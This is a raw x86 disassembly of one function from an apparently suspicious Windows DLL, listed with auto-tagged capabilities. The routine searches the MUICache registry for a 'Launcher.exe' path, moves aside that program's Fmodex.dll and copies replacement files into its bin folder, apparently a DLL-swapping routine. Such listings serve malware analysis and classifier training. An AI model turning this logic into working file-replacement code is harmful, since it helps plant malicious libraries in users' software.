Function at 0x10003a60
Capabilities:
Check if file exists
Copy file
Get common file path
Move file
Query or enumerate registry value

Disassembly:
sub esp, 0x364
push ebx
push ebp
push esi
push edi
xor ebx, ebx
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x275]
mov byte [esp + 0x274], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x274]
mov dword [esp + 0x10], ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x19
xor eax, eax
lea edi, [esp + 0x210]
xor ebp, ebp
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
mov dword [esp + 0x14], 0xff
push eax
push str.SoftwareMicrosoftWindowsShellNoRoamMUICache
push connect
mov dword [esp + 0x24], 0x64
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov ecx, 0x19
xor eax, eax
mov edi, 0x100079d8
lea edx, [esp + 0x210]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
lea eax, [esp + 0x14]
push ecx
push edx
mov edx, dword [esp + 0x18]
push ebx
push ebx
lea ecx, [esp + 0x284]
push eax
push ecx
push ebp
push edx
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
cmp eax, 0x103
je 0x10003eb8
lea eax, [esp + 0x210]
push 0x100074d8
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x10003e7f
lea ecx, [esp + 0x274]
push str.Launcher.exe
push ecx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
je 0x10003e7f
lea edi, [esp + 0x274]
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0x1c], bl
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x80], bl
mov edx, ecx
mov esi, edi
mov edi, 0x100079d8
mov byte [esp + 0x148], bl
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov byte [esp + 0x1ac], bl
and ecx, 3
mov byte [esp + 0xe4], bl
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x18
lea edi, [esp + 0x1d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x81]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x149]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x1ad]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0xe5]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x19
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
mov ecx, 0x19
lea edi, [esp + 0x80]
rep stosd dword es:[edi], eax
mov ecx, 0x19
lea edi, [esp + 0x148]
rep stosd dword es:[edi], eax
mov ecx, 0x19
lea edi, [esp + 0x1ac]
rep stosd dword es:[edi], eax
mov ecx, 0x19
lea edi, [esp + 0xe4]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x1c]
push eax
push 0x100079d8
call fcn.10003a20
lea edi, [esp + 0x24]
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x1ac]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
lea edx, [esp + 0x80]
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x1c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x64
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x20]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x20]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str._sg.tmp
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x148]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0xe4]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x80]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x80]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str._binFmodex.dll
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x1ac]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, str._bin1.tmp
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0xe4]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str._bin2.tmp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x1c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str._bin_sgmd.gs
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x1c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x10003e7f
call fcn.10003980
lea ecx, [esp + 0x1ac]
push 1
lea edx, [esp + 0x84]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [esp + 0xe4]
push ebx
lea ecx, [esp + 0x1b0]
push eax
push ecx
call esi
lea edx, [esp + 0xe4]
push edx
call fcn.10003770
add esp, 4
cmp eax, 2
je 0x10003e4c
cmp eax, 1
jne 0x10003e5c
lea eax, [esp + 0x1c]
push ebx
lea ecx, [esp + 0x14c]
push eax
push ecx
call esi
lea edx, [esp + 0x1c]
push ebx
lea eax, [esp + 0x14c]
push edx
push eax
call esi
lea ecx, [esp + 0x80]
push ebx
lea edx, [esp + 0xe8]
push ecx
push edx
call esi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x274]
mov dword [esp + 0x14], 0xff
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x19
xor eax, eax
lea edi, [esp + 0x210]
mov dword [esp + 0x18], 0x64
rep stosd dword es:[edi], eax
inc ebp
jmp 0x10003ade
mov eax, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
push ebx
call esi
jmp 0x10003a6c